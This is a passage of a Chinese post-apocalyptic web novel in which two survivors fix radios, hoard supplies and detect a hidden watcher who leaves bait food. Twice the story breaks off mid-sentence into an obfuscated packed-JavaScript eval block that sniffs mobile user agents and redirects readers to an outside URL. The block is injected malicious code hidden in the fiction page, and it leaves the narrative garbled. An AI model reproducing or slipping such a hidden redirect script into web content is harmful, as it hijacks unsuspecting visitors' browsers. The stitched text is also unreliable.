“十几个小时?”陆昭妄动作顿了顿,挑眉,“怪不得你体力还行。我以前最烦开会,超过两小时就觉得生命在被慢性谋杀。有次听导师在台上念经,我直接在底下用笔记本代码模拟了一遍他论文里的漏洞。” “然后呢?” “然后?然后下次组会他就让我上去讲了。”陆昭妄嗤笑一声,“事实证明,用逻辑打脸比默默吐槽有效率得多。” 沈悬衡的嘴角似乎几不可查地弯了一下。“很符合你的风格。” “你呢?”陆昭妄一边用砂纸小心打磨着电路板上的触点,一边反问,“就没遇到过想用手术刀讲讲道理的瞬间?” “有。”沈悬衡回答得很干脆,但没具体说是什么,只是补充道,“但我的‘道理’,通常只在手术成功后才能成立。” 陆昭妄看了她一眼,没再追问。他完成了手里的活,将改造好的对讲机组装回去,装上他们之前找到的,型号相符的电池。 按下开关,指示灯微弱地亮了一下,接收喇叭里传来一阵稳定的、令人安心的电流沙沙声。 “喏,”他把那个能接收的对讲机推到沈悬衡面前,自己拿起那个只能算半成品的,“你的‘收音机’。” 沈悬衡接过那只冰冷的对讲机,手指拂过天线,将它放在笔记本旁边。 陆昭妄则摆弄着自己手里那个,尝试着按了一下发射键,果然毫无反应。 “看来我这辈子是当不了电台主持人了。” 他自嘲地笑了笑,随手将它别在了腰带上。 不大不小的对讲机,带着一种沉甸甸的、属于旧时代的质感。 陆昭妄活动了一下肩膀,感受着那小玩意儿随着动作带来的轻微碰撞。 他抬眼看向沈悬衡,她正低头审视着笔记本上记录的巡逻规律,侧脸在昏黄的光线下显得沉静而专注。 “明天,”他开口,打破了沉默,“除了继续找吃的,得留意看看有没有类似的电子垃圾,或者更老旧的收音机之类。说不定能拆出点能用的电容电阻,把这两个家伙彻底修好。”他拍了拍腰间的对讲机,“只能听不能喊,总感觉有点憋屈。” 沈悬衡抬起头,合上笔记本,表示了解。她将那个能接收的对讲机小心地收进背包侧袋,动作仔细。 短暂的停雪窗口带来的松弛感正在慢慢消退,取而代之的是对未来的审慎规划。 他们都知道,这大半个月的“假期”并非真正的假期,而是争分夺秒的储备期。 窗外,天色已经完全暗了下来,风声似乎比白天又急促了些,隐约带着哨音,卷起细碎的雪沫打在窗户上,发出沙沙的轻响。 “看样子,‘假期’余额不太足了。”陆昭妄走到窗边,透过缝隙向外望去,只见远处天际线已被浓重的墨色吞没,正缓缓向小镇方向推进。 沈悬衡也站起身,开始例行检查藏身处的稳固程度,确认通风口没有被积雪堵塞,入口处的伪装是否完好。 “至少,”她一边检查一边说,声音平稳,“我们知道了时间,也知道了边界。” 她指的是明确的停雪期和“秩序行者”绝不越界的规律。 陆昭妄转过身,靠在墙上,看着她在不大的空间里忙碌,应急灯的光芒将她清瘦的影子拉长,投在斑驳的墙壁上。他忽然没头没尾地冒出一句: “等这波过去,要是还能找到点像样的零件,说不定真能把这玩意儿搞成双向的。”他手指无意识地敲了敲腰带上的对讲机,“到时候,你就可以在‘频道’里点歌了,虽然DJ水平可能不太行。” 沈悬衡检查入口的动作顿了顿,没有回头,只是极轻地应了一声:“嗯。” 夜色渐深,风雪再临的预兆越来越明显。 但在这一方小小的、被混凝土和黑暗包裹的空间里,应急灯依旧顽强地亮着,映照着角落里新增的几罐豆子,映照着笔记本上密密麻麻的记录,也映照着两人腰间和背包里那象征着微弱联系与未来可能的、沉默的对讲机。 储备刚刚开始,危机远未解除,前路依旧被冰雪和迷雾笼罩。 但在这个雪停之日的末尾,他们至少为自己争取到了一点物资,摸清了一部分规则,并且,抓住了一丝或许能穿透风雪、彼此呼应的声音。 16. 人类的本质是屯屯鼠 接下来的十几天里,一种近乎规律的节奏在藏身处内外悄然形成。 清晨通常在铲雪中开始。 两人轮流清理那条维系着他们与外界联系的小径,并仔细掩盖所有人为活动的痕迹。 陆昭妄将这项工作戏称为“晨间伪装课”,沈悬衡则更愿意视之为“必要的日常维护”。 早餐是定量配给的食物和融化的未被污染的雪水,简单却足以支撑体力。 随后便是对当日探索区域的简短规划,陆昭妄的手指在地图上划过——那地图由沈悬衡的笔记本纸张拼接而成,目标明确,路线谨慎。 日间,藏身处内外是两种截然不同的静默。 陆昭妄如同一个耐心的拾荒者,穿梭在废墟之间。 他的探索范围以藏身处为圆心,缓慢而稳定地向外扩展。行动模式固定:观察环境、谨慎进入、快速搜寻、处理痕迹、转移。收获零零碎碎,却实实在在。 从一个半塌的车库里,他拖回来一个几乎散架但骨架尚存的金属储物架,以及几件锈迹斑斑但能修复的工具。 在某户民居锁死的壁橱深处,他用技巧撬开了锁,找到了半袋早已板结但未受污染的盐,和几盒受潮但火柴头尚且完好的火柴。 他甚至从一个儿童房间里,带回了一本封面褪色、内页泛黄但内容完整的《野外生存图解指南》,递给沈悬衡时语气随意,只说让她补充一下“理论知识库”。 而沈悬衡的战场则在方寸之间。她系统地完善着观察记录,不仅限于“秩序行者”的巡逻,还包括风向、云层、日照时长的变化。 她将陆昭妄带回的物资分门别类整理:工具归置在架子上,食物密封保存,找到的可用布料清洗后晾干备用。她还尝试用找到的容器和材料,改进雪水收集与净化的效率。 她的静,与陆昭妄的动,构成了一种奇妙的平衡。 傍晚的归来像是一种仪式。 陆昭妄会先在远处停留片刻,确认安全后才快速接近,熟练地清除掉最后一段路径上的痕迹,然后像归巢的动物般滑入室内。 卸下背包,展示当日收获,交换信息——他讲述探索见闻和那些依旧无法拼凑的线索碎片;她则同步观察记录和据点情况。 那种奇特足迹又出现了两次,依旧被处理得干净利落,双方似乎达成了一种互不打扰的默契。 日子就这样一天天过去,重复,却并非毫无意义。 角落里,物资在缓慢却坚定地堆积;笔记本上,信息在持续不断地增加;两人之间,一种基于日复一日协作的、更深层的默契,也在无声地滋长。 这天傍晚,陆昭妄回来得比平时稍晚,肩上除了惯常的背包,还多了一个墨绿色的、看起来十分沉重的金属箱子。 箱体布满划痕和锈迹,但结构完好,一把锈蚀的挂锁被他用工具直接剪断。 他将箱子放在地上,发出沉闷的响声,然后才卸下背包,照例开始清理身上和入口处的痕迹。 “发现了个好东西。”他拍了拍那金属箱子,语气里带着一丝完成任务的满意,“在一个像是旧维修站的后屋找到的,埋在一堆废料下面。” 沈悬衡放下手中正在处理的、用于加固门缝的布条,走了过来。 陆昭妄已经撬开了箱盖,里面是分格存放的、种类颇为齐全的维修工具:不同型号的螺丝刀、钳子、扳手,甚至还有一小卷焊锡和一把功率未知但看起来完好的电烙铁,以及几个装有基础电子元件的小格子,电阻、电容之类,虽然型号杂乱,但保存相对完好。 “看来你的维修工作可以继续了。”沈悬衡看着箱内的工具说道。 陆昭妄拿起那把电烙铁,在手中转了个圈,嘴角微扬:“总算有像样的工具了。”他先将两个对讲机都拿出来摆在面前,“现在让我看看,能不能让我这个‘哑巴’开口说话。” 他拿起自己那台完全失灵的对讲机,仔细检查着电路板。 “接收模块彻底报废,没救了。不过发射模块的问题没那么严重,主要是几个关键连接点腐蚀断路。”他拿起电烙铁,熟练地预热,“用这些新找到的零件,应该能修复发射功能。” 沈悬衡看着他将细小的元件焊接到电路板上,忽然开口:“我记得你上次说,我那台的接收功能虽然修好了,但功率有限。” “没错。”陆昭妄头也不抬,专注地处理着手中的线路,“现在正好,我这台修好发射功能,你那台保留接收功能。虽然不能双向通话,但至少我能发,你能收。” 他把在维修站找到的零件摊开,就着应急灯的光,开始了精细的维修工作。 沈悬衡没有打扰他,重新坐回原位,拿起未完成的活计,偶尔在他需要时,会默契地递上某样工具,或为他稳住灯源。狭小的空间里只剩下工具与元件碰撞的细微声响,以及焊锡熔化时偶尔升起的、带着特殊气味的一缕轻烟。 “修复后的发射功率不会太高。”陆昭妄一边调整着电路板上的微调电阻,一边低声分析,“信号覆盖范围估计也就这小镇核心区域,稳定性也难说。” “能发出信号,总比完全沉默好。”沈悬衡头也不抬地回应,手中编织的动作稳定而持续。 “是啊,至少下次你再把我支出去干活,我还能隔着几条街‘抱怨’两句。”陆昭妄习惯性地回了一句,注意力却完全集中在指尖的工作上。他的动作稳定而精准,与平日里那种看似散漫的姿态判若两人。 时间在专注中流逝。当最后一个焊点完成,陆昭妄小心地吹了吹电路板上残留的助焊剂,然后将对讲机的外壳重新组装好。 他深吸一口气,装入电池,拇指按下了侧面那个之前毫无反应的发射键。 对讲机顶端的指示灯微弱但持续地亮起了红光。 “成了。”他松开按键,指示灯熄灭。语气平静,但紧绷的肩膀微微松弛了下来。 沈悬衡拿起自己那台只能接收的对讲机。陆昭妄再次按下发射键,片刻后,一阵轻微的电流杂音从她的对讲机喇叭里传出,紧接着是他的声音:“测试。能听到吗?” “能听到。”她回答。 陆昭妄低头看着手中刚刚修复的设备,扯了扯嘴角:“看来我这维修工的手艺还没丢。” “至少下次,”沈悬衡将手中的对讲机轻轻放在一旁,语气一如既往的平稳,“你可以试着‘喊’一嗓子了。” 夜色在无声中沉淀,将白日里劳作的气息缓缓包裹。 应急灯的光芒在墙壁上投下暖黄色的光晕,将两人的影子拉得悠长。对讲机的测试成功后,狭小的空间里似乎还残留着一丝完成技术挑战后的微末成就感。 陆昭妄将修好的对讲机放在一旁,拿起水壶喝了一口,视线落在沈悬衡刚刚放下的那本《野外生存图解指南》上。 “说起来,”他用指节敲了敲那本旧书的封面,“这上面的东西,跟你实际经历的,差别有多大?” 沈悬衡将手中编织好的布条理顺,闻言抬眼看了看那书。 就在她准备回答时,目光不经意地掠过他左侧那缕银灰色挑染,停顿了一下。 一片枯黄的、边缘卷曲的小小叶片,正静静地栖在他的发丝间,随着他说话的动作微微颤动,显然是在外搜寻时沾染上,却一直被主人忽略。 她的回答稍稍延迟了半秒。 “书上写的是理想条件下的标准流程。” 她语气平和如常,一边说着,一边极其自然地伸出手,越过两人之间不远不近的距离,指尖轻轻掠过他的发丝,取下了那片叶子。 陆昭妄在她伸手的瞬间明显顿住了,身体有刹那的僵硬,所有动作和话语戛然而止。 他看着她捏着那片枯叶收回手,仿佛只是完成了一个微不足道的清理步骤。 “现实是,”她这才接上之前的话,将叶子放在一旁,仿佛刚才的插曲从未发生,“你需要用能找到的任何东西,去达成七成相似的效果。”她的语气和表情都没有任何变化。 陆昭妄眨了眨眼,迅速从那一瞬间的愣神中恢复过来。 他抬手状似随意地捋了一下刚才被她触碰过的头发,嘴角立刻扬起那抹惯有的、带着点戏谑的弧度。 “比如用锈铁片和破布条做个滤水器?”他挑眉,语气重新变得轻快,只是语速比平时稍快了一点,“还是说,沈医生现在连‘客户形象管理’也纳入‘必要医疗救助’范围了?”他刻意用了夸张的说法,试图将刚才那过于自然的亲昵举动定义成某种“专业服务”。 “只是看到了异物。”沈悬衡平静地回答,继续着手上的工作,仿佛刚才只是拂去了一件物品上的灰尘。 “哦——”陆昭妄拖长了语调,眼神闪了闪,立刻抓住了反击的机会,“明白了。所以这是基于‘环境整洁度优化’的考量,属于公共卫生范畴。看来我的头发刚刚享受了一次免费的‘门诊服务’。”他煞有介事地点点头,随即话锋一转,带着他特有的逻辑跳跃,“那按照这个原则,我是不是也该帮你检查一下背上有没有沾到墙灰?礼尚往来嘛。” 沈悬衡连眼皮都没抬。“不需要。我靠墙时很小心。” 对话似乎又回到了熟悉的轨道,带着点互相揶揄的意味。但空气中似乎还残留着一丝尚未完全消散的、微妙的波动。 “说到学校,”陆昭妄忽然把话题扯远,像是随意抛出一个新坐标,“我初中那会儿,最喜欢在物理实验课上偷偷改装设备。有次把测电流的仪表接在了门把手上,把推门进来的教导主任电得直跳脚。”他说起这些陈年劣迹时,语气里还带着点怀念的得意。 “我中学时,大部分时间都在看书。”沈悬衡接话,手中的动作未停,“或者,处理一些……不必要的关注。” “嗯?”陆昭妄立刻捕捉到关键词,尾音上扬,带着探究的意味,“什么样的‘不必要关注’?” “邻居家的男孩子,我们从小学到高中一直同校。”沈悬衡的语气平淡得像在陈述一个实验现象,“他性格很……外向执着。每天不是磨着我逃课出去瞎玩,就是换着花样给我带些稀奇古怪的小玩意儿。某天,他突然跟我表明心意,我拒绝他后,他沉默了一会儿,然后问明天还能不能一起去后山。” “哇哦,”陆昭妄夸张地挑眉,“没想到优等生还有这段历史。这位兄弟倒是拿得起放得下。”他随即兴致勃勃地追问,“然后呢?他是不是后来还不死心?这种从小一起长大的,最难彻底断干净。” “他试过送了一学期的早餐。”沈悬衡说,“直到我明确告诉他,如果再送,我就把它们都分给学校里的流浪猫。” “噗——”陆昭妄忍不住笑出声,“不愧是沈医生,连拒绝都这么有建设性。要我说,这反应可比那些要死要活的强多了。”他摸着下巴,眼神中闪烁着分析的光芒,“从行为学角度来说,那位兄弟的表现其实是最优解。不过……”他话锋一转,带着几分戏谑,“我猜他后来还是没完全放弃?” “他明白了界限,就渐渐保持了距离。”沈悬衡轻轻带过,随即反问,“你呢?” 陆昭妄歪头想了想,嘴角扬起一个狡黠的弧度:“我?我记得好像把隔壁班女生送的情书,当成‘编程错误报告’给分析了,还给人回了封邮件,详细指出了三点‘逻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他言简意赅地宣布,声音里带着浓浓的倦意。 沈悬衡也轻轻放下手中的东西,点了点头。 应急灯被调到最暗,只余一点微弱的光晕勾勒出物体的模糊轮廓。 两人各自在熟悉的位置躺下,衣物摩擦发出细微的窸窣声,随后一切归于沉寂。 黑暗中,只剩下两道平稳的呼吸声,交织成这寒夜里最令人安心的韵律。 夜色浓稠,将废墟与远山都融成一片沉郁的墨块。只有山脊线上,几道修长的黑影依旧遵循着刻入本能的指令,无声滑行,如同钟表上精准的指针。 其中一道黑影,相较于其他,显得格外瘦小,动作间也带着一丝几乎无法察觉的凝滞。 它覆盖着暗沉甲壳的头颅微微转动,复眼结构映照着惨淡的月色,倒映出下方那片死寂的小镇。一片雪花,轻盈地、不合时宜地,穿过它周身萦绕的微弱能量场,落在了它的前肢上。 冰冷的触感。 不是数据流冲刷的灼热,也不是撕裂猎物时的粘腻,而是一种……纯粹的,物理上的低温。 一个碎片猛地炸开——不是图像,是感觉。 冷。 白色的气体从口中呵出。一双粗糙但温暖的大手包裹住它冻得通红的小手,笨拙地揉搓着。一个模糊的、带着笑意的声音在说:“……搓搓就热乎了……” 那感觉稍纵即逝。 冰冷的甲壳隔绝了温度,程序指令瞬间覆盖了这异常的神经信号。 它前肢微不可查地一颤,那片雪花被震落,混入下方的积雪,再无痕迹。 它继续巡逻,步伐与其他同伴一样精准、协调。但某种东西被触动了,如同寂静湖面被投入了一颗微小的石子。 又一片记忆碎片,带着静电干扰般的杂音涌上来——强光,刺眼的白。 金属的冰冷紧贴着皮肤,不是雪花的凉,是深入骨髓的寒意。一个毫无起伏的声音在宣读: “……同步率百分之九十二点七……阈值为……保留观察……” 然后是液体注入血管的灼痛,以及一种意识被强行拉伸、与某种庞大而冰冷的存在链接的撕裂感。 它想尖叫,发出的却是非人的、断断续续的电子嗡鸣。 痛苦。 这感觉比“冷”更清晰,更强烈。 它那简单逻辑构成的“意识”无法理解这些碎片,只能将其归类为系统运行中产生的“错误数据流”。 但为何这“错误数据流”会伴随着一种……一种想要蜷缩起来的冲动? 它看向下方小镇的某处,那里,有一点极其微弱的、不同于月光也不同于数据流的光芒,从一个被厚重积雪覆盖的窗口缝隙透出。那光芒很弱,却带着一种奇异的“温度”感。 ……灯光。 台灯。橘黄色的。 一个女人温柔的侧影,在灯下缝补着什么,哼着不成调的歌…… “滋——”尖锐的内部指令强行切断了这危险的联想。 【错误数据流清除。执行巡逻指令。守卫边界。清除不稳定因素。】 冰冷的逻辑重新占据主导,将那些柔软的、温暖的碎片碾碎、驱逐。它眼中的微光恢复了恒定不变的冰冷,步伐变得更加僵硬、坚决。 它不再看向那点微光,也不再理会偶尔飘落的雪花。 它只是巡逻,一遍,又一遍。执行命令是它存在的唯一意义。 只是,在那最深层的、尚未被完全格式化的核心处理单元里,那关于“冷”和“灯光”的碎片,如同无法删除的顽固病毒,留下了几行无法解析、也无法执行的乱码,在绝对的秩序中,烙下了一抹微不足道,却无法磨灭的……异常。 17. 天上掉陷阱 持续了大半个月的雪停期,终于显露出了疲态。天空不再是那种被洗刷过的、冷酷的灰蓝,而是蒙上了一层浑浊的、预示着什么的铅灰色。 风重新变得料峭,卷起地上板结的雪沫,抽打在断壁残垣上,发出细碎而顽固的声响。 藏身点内,那个被陆昭妄修好、笼子缺了半边的鸟笼取暖器,正兢兢业业地散发着有限的热量,插头连接着墙上那个依旧能正常供电的神秘插座,仿佛地底深处埋藏着一个永不枯竭的、沉默的能源心脏。 角落里的物资已经堆叠出了一种令人心安的规模——整齐码放的罐头、维修工具、以及用各种容器分装好的净水。生存的压力暂时退居二线,探索的重心在过去几天里便已自然而然地发生了偏移。 陆昭妄系紧鞋带,动作间带着一种不同于往日搜寻物资时的、更加凝练的专注。 他的目标早已不再是那些可能藏着一罐豆子或半瓶水的橱柜,而是小镇本身,是那些尚未踏足的角落,以及潜藏在死寂之下的、流动的讯息。 “我再去东边那片转转,”他拿起那根磨得愈发尖锐的金属水管,对正在整理观察记录的沈悬衡说,“上次只在边缘看了看,这次往里探探。” 沈悬衡从笔记本上抬起头,目光掠过他肩上的背包——比以往轻便许多,里面更多是工具和标记物,而非沉重的搜集袋。 “小心点,”她声音平稳,“风向变了,湿度在增加。” 陆昭妄点了点头,表示收到。 推开经过伪装的入口,一股比室内凛冽得多的寒气瞬间包裹了他。 他深吸一口冰冷的空气,像一道融入背景的影子,悄无声息地滑入了废墟的脉络之中。 他的路线选择比之前更加大胆,也更注重对地形结构的记忆。 他在断墙上留下只有自己能看懂的细微刻痕,记录路径和视野范围。 他绕过那些已被反复确认安全的区域,直插之前未曾深入的交界地带——那里是边缘废墟与小镇更核心区域的过渡,寂静中透着一种难以言喻的张力。 就在一处背风的、半塌的断墙下——他清晰地记得,这里是大约十天前,他首次发现那些步幅奇特、又诡异消失的非人爪印的地方——他的脚步蓦地停住。 视线锁定在墙角一块相对干净、避开了积雪的石头上。 那里,放着一份军用单兵自热食品。 包装完好,色彩鲜明,甚至没有多少灰尘,在这片被时光和灾难侵蚀得色调灰败的环境里,扎眼得如同黑夜里的萤火虫。 陆昭妄的瞳孔微不可查地收缩了一下。 他没有立刻上前,甚至没有做出任何靠近的动作。 他就站在原地,身体微微低伏,如同嗅到陷阱气息的野兽,目光锐利地扫视着四周。 屋顶的残骸、窗户的空洞、远处街角的阴影……任何可能藏匿视线的地方,都被他快速而沉默地检索了一遍。 太新了。 新得离谱。 就像刚从某个密封良好的后勤仓库里直接转运过来,随手放在了这里。 和他身上沾染的尘土、脚下踩着的碎砾、以及周围无处不在的衰败气息,格格不入。 他缓缓蹲下身,与那袋食物保持着安全距离,利用金属水管伸过去,小心翼翼地拨弄了一下包装袋。 翻看生产日期,清晰可见;检查密封条,完好无损。 没有任何自然老化或被数据风暴侵蚀的痕迹。 然后,他想起了这个地方——爪印出现又消失之地。 一个冰冷的念头瞬间窜过脑海:爪印是假的?或者,那东西和这包食物根本无关?这只是某个“存在”精心挑选的、用来引起他注意的舞台? 天上不会掉馅饼,尤其是在末世。如果掉了,那一定是铁馅饼,能把人砸死的那种。 他没有丝毫犹豫,更别提去碰那包食物。 相反,他用脚将旁边的积雪和沙土踢起来,均匀地扬洒在包装袋上,又用水管拨弄了几下旁边的碎石,将其半掩起来,完美地伪装成一件被遗弃许久、无人问津的垃圾。 做完这一切,他再次警惕地环顾四周,随即转身,没有沿着来路返回,而是选择了一条更加迂回、复杂,需要穿越数栋危楼内部的路线。他每一步都落在阴影或杂物之后,动作轻盈得如同狸猫,并且每隔一段距离,就会突然静止,屏息凝神,捕捉着风中任何一丝不协调的声响,或是视野里任何一帧不自然的晃动。 饵已经出现,垂钓者必然就在附近的水域。他现在要做的,不是咬钩,而是找出那个握着钓竿的人,或者……东西。 陆昭妄返回藏身处的路线,比去时多绕了将近一倍。 他不再仅仅是为了规避危险,更像是在进行一场无声的挑衅与测试。 每一次突兀的停顿,每一次毫无征兆的转向,都是在向可能存在的监视者宣告:我知道你在看,有本事就跟上来。 他甚至在一条狭窄的、两侧都是高墙的巷道里,驻足片刻,从背包侧袋摸出一小段之前搜集的、近乎透明的鱼线,和几颗随手捡来的小石子。 他熟练地将鱼线一端系在巷道一侧墙根的突出钢筋上,另一端绕过几块松动的砖块,形成一个简单的绊索,再将小石子虚搭在砖块顶端。 只要有人以稍快的速度经过,绊动鱼线,砖块失去平衡,石子便会滚落发出声响。这是一个简陋但有效的预警装置。 当他最终迂回到能够望见藏身处那片区域的安全距离时,天色已经比平日归来时黯淡了许多。 他没有立刻靠近,而是借助一堵断墙的掩护,再次静止下来,如同融入了岩石的阴影,用全身的感官去捕捉任何一丝异常。风声、远处山脊线上秩序行者规律移动的微小声响、甚至自己心脏缓慢而有力的搏动……在确认没有尾巴,周围环境与他离开时别无二致后,他才深吸一口气,按下了腰间对讲机的发射键——前几天他欧气爆棚,在一个小卖部储物柜的最底层,翻出来了足以完全修好对讲机接收和发送功能的零部件。 “是我。” 他的声音压得很低,透过劣质的扬声器传出,带着一丝电流的杂音。 “准备开门,外面‘风’有点大。 入口处的伪装被从内部小心地移开一道缝隙,陆昭妄侧身闪入,动作流畅迅速。沉重的障碍物随即被重新归位,将渐起的寒意与潜在的危险一同隔绝在外。 温暖的空气裹挟着鸟笼取暖器特有的、微弱的金属加热气味扑面而来。 陆昭妄靠在门边,没有立刻卸下装备,而是先仔细聆听了片刻外面的动静,才缓缓吐出一口一直憋着的气。 沈悬衡已经回到了她常坐的位置,目光落在他身上,带着询问。 陆昭妄一边解开外套的扣子,让身体适应室内的温度,一边用他那特有的、带着点玩世不恭却又异常清醒的语气开始了叙述: “猜猜我今天在‘老朋友’——就是上次发现那些奇怪爪印的墙根底下,发现了什么?”他顿了顿,仿佛在卖个关子,但眼神里没有丝毫笑意,“一份包装精美、品相崭新得像是刚从军需官手里偷出来的单兵口粮。” 他走到取暖器旁,伸出手烤着,继续道,语气里的嘲讽意味更浓了:“就那么大剌剌地放在石头上,像是生怕路过的蚂蚁看不见。可惜,这顿‘外卖’看着诱人,配菜却不太对劲,闻着像是‘好奇心害死猫’,主菜估计是‘请君入瓮’。” 沈悬衡的眉头几不可查地蹙起:“有人想引你过去。” “而且手法很讲究,”陆昭妄接过她的话头,转身看向她,眼神锐利,“知道利用之前的异常痕迹混淆视听,投其所好。对我们的行动规律,甚至可能的需求,都有一定了解。这不像那些脑子里只有固定程序的巡逻机器能干出来的事。更像是个……有耐心,有脑子,并且在暗处观察了我们一段时间的猎手。” 他走到水壶边,给自己倒了半杯水,仰头喝下,冰凉的液体让他因持续警惕而有些发热的头脑稍微冷静。 “我检查过了,东西本身没问题,是真的。但出现的方式和地点,问题太大了。我没动,把它伪装成了废弃品。” 沈悬衡沉默着,手指无意识地在笔记本的边缘摩挲。 她在脑中快速过滤着所有已知的信息——江敛的沉稳务实、祝昭的率真、甚至“屠夫”那伙人的粗暴直接——都与这种精密的、带着心理博弈色彩的引诱方式对不上号。 “排除所有已知选项,”她抬起眼,声音低沉,“结论指向未知。小镇里存在我们之前未曾察觉的、具备高度智能且意图不明的第三方。有可能是制作入口处封锁物的主人。” 陆昭妄扯了扯嘴角,那笑容里没什么温度:“他们在试探,试探我们的警惕心,更试探我们的好奇心。今天我没咬钩,他们要么就此收手,要么……”他目光扫向窗外愈发阴沉的天色,“会下更香的饵,或者,干脆换种不那么客气的方式,‘邀请’我们去做客。” 他走到窗边,透过缝隙望着外面铅灰色的天空。 “天气在变坏,留给双方‘彬彬有礼’试探的时间,恐怕不多了。” 次日,天色未明,陆昭妄便已准备停当。 他没有携带任何可能暴露意图的多余装备,只在腰间别着那根磨尖的水管和对讲机。 临行前,他与沈悬衡交换了一个眼神,无需多言,彼此都清楚今天的行动目标并非搜集,而是验证与反制。 他没有再去那片已被标记为“饵区”的断墙,而是径直朝着小镇中几个视野开阔、利于观察也利于隐藏的制高点移动。 他的步伐比以往更加飘忽,路线选择充满了欺骗性,时而快速穿越大片开阔地,时而长时间潜伏在废弃建筑的阴影中,如同一个耐心的猎手,只不过他狩猎的对象,是可能存在的另一双眼睛。 在一个十字路口,他注意到一堆废墟瓦砾的形态有些异样,几块砖石的摆放位置过于“合理”,仿佛刻意留出了一个观察或通过的缺口。 这像是一个低级的陷阱,或者……一个低级的测试。 陆昭妄心中冷笑。 他没有靠近,反而在远处利用一面破碎窗户的反光,仔细观察那片区域及其周边。他没有动用任何非常规的能力,仅凭肉眼和经验判断。 果然,在对面一栋二层小楼某个没有玻璃的窗口后,他捕捉到了一点极其短暂的移动阴影,速度快得惊人,几乎超出他视觉捕捉的极限。 他没有立刻追击,而是迅速低下身,利用残垣掩护,向相反方向移动了一段距离,然后猛地改变路线,开始向那栋小楼侧后方迂回。 他动作迅捷而无声,每一步都踩在坚实的支撑点上,避开松动的碎石。 然而,当他如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647174|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同狸猫般悄无声息地潜到那栋小楼预判的撤离路线上时,那里空空如也。 只有一块地面上的积雪被某种力量压实,形成了一个模糊的、非人类的足迹边缘,但痕迹同样被刻意处理过,无法追踪去向。 空气中残留着一丝极淡的、类似金属摩擦后又迅速消散的气味。 对方不仅反应极快,而且撤退路线刁钻,清理痕迹的手法专业得令人心惊。 陆昭妄站在原地,眉头紧锁。他意识到自己面对的绝非等闲之辈。 这种敏捷、警惕和反追踪能力,远超他之前遇到的任何活物或怪物。 他原本以为需要提防的是某种利用环境设置陷阱的智慧体,现在看来,对方本身就是一个极其危险的存在。 他没有继续徒劳地追寻,那只会暴露更多自己的行动模式。 陆昭妄改变了策略,开始在外围游弋,利用复杂地形和建筑物死角,不断变换位置,试图从不同角度勾勒出这个“监视者”可能的活动范围和习惯路径。他像一枚不甘被掌控的棋子,在棋盘上肆意移动,试图看清执棋者的手。 整个白天,他都在这种高强度的移动与静默观察中度过。 期间,他又两次隐约感觉到那种被注视的芒刺在背之感,但每次当他试图锁定来源时,那感觉又如同潮水般退去,消失得无影无踪。 直到天色再次开始转暗,他才带着一身疲惫和更深的警惕,踏上了返程的路。 这一次,他比昨天更加小心,绕了更远的路,甚至故意在一些可能被观察到的区域做出虚假的探查动作,试图迷惑对方。 当他终于回到藏身处附近,再次使用对讲机发出安全信号,并得到沈悬衡的回应时,紧绷了一整天的神经才略微松弛下来。推开伪装入口,重新感受到那鸟笼取暖器带来的微弱暖意,他靠在冰冷的墙壁上,缓缓吐出一口浊气。 “怎么样?”沈悬衡看着他脸上难以掩饰的凝重,开口问道。 陆昭妄摇了摇头,声音带着长时间保持静默后的沙哑:“甩不掉的影子,摸不到的身。” 陆昭妄靠在冰冷的墙壁上,将白天遭遇的种种细节,包括那快如鬼魅的阴影、被刻意清理的痕迹、以及对方展现出的惊人反追踪能力,都清晰地转述给沈悬衡。 末了,他补充了一句,语气带着惯有的、对危险近乎本能的嗅觉:“外面的云层厚得能拧出水,风里带着冰碴子。这鬼天气的‘假期’,我看是快到头了。” 沈悬衡走到窗边,透过那道被他们反复擦拭以保证视野的缝隙,望向远处在暮色中更显阴森的山脊线。 那些“秩序行者”的剪影依旧在移动,但频率似乎有了一丝难以察觉的变化。 “如果天气恶化,重新开始降雪,”她观察了片刻,声音平稳地分析,“根据之前的记录,它们的巡逻频率和覆盖范围会明显降低。大雪会掩盖一切,包括痕迹,也同样会阻碍它们的感知和行动。”这是她基于长达数月观察总结出的规律,冷静而客观。 陆昭妄立刻抓住了她话中隐含的可能性:“你的意思是,雪如果真下大了,对‘它们’是障碍,对我们也是。但如果我们卡在雪完全回来之前、天色已暗的这个时间点行动,既能借着夜色躲开白天的眼睛,又可能因为天气还没彻底烂掉,不至于在外面冻成冰雕?” “这只是理论上的窗口期。”沈悬衡转过身,面容在取暖器微弱的光线下显得异常严肃,“夜间行动本身变数太大。超低温、几乎为零的可见度、完全未知的夜间威胁……我们现有的装备,不足以支撑我们在那种环境下长时间活动。”她的倾向很明显,倾向于利用可能到来的大雪作为天然屏障,固守,等待,尽管他们等待的或许只是下一个困境。 “固守当然最安全,”陆昭妄反驳,他习惯性地在脑海中权衡着风险与收益,“但也等于把接下来是死是活的主动权,完全交到了那个不知是人是鬼的‘邻居’手里。他们明显在赶时间,谁知道他们会不会在大雪封路前,给我们来个‘最后的晚餐’?被动挨打可不是我的风格。” 他顿了顿,眼神锐利:“夜间行动风险是高,但可能是我们唯一能摸清他们底细,甚至找到一丝破局机会的时候。” 藏身点内陷入了短暂的沉默,只有鸟笼取暖器持续散发着微不足道的暖意。 固守的“已知风险”与夜探的“未知风险”在天平两端摇晃,每一种选择都伴随着巨大的代价。 最终,陆昭妄看向沈悬衡,没有强行做出决定,而是提出了一个更为审慎的步骤:“硬闯不行,蛮干更不行。”他声音低沉下去,“今晚我们先轮流值守,眼睛放亮些,一是防着他们可能狗急跳墙来硬的,二是仔细看看夜里到底是什么光景,比刚来时那会儿看得更细。之后几天,我们白天彻底闭门不出,把所有可能来不及隐藏的尾巴都清理干净。再利用雪停期结束前的最后两个晚上,摸清楚夜间的具体规律。如果条件允许……就在大雪彻底封门前的最后一晚,行动。” 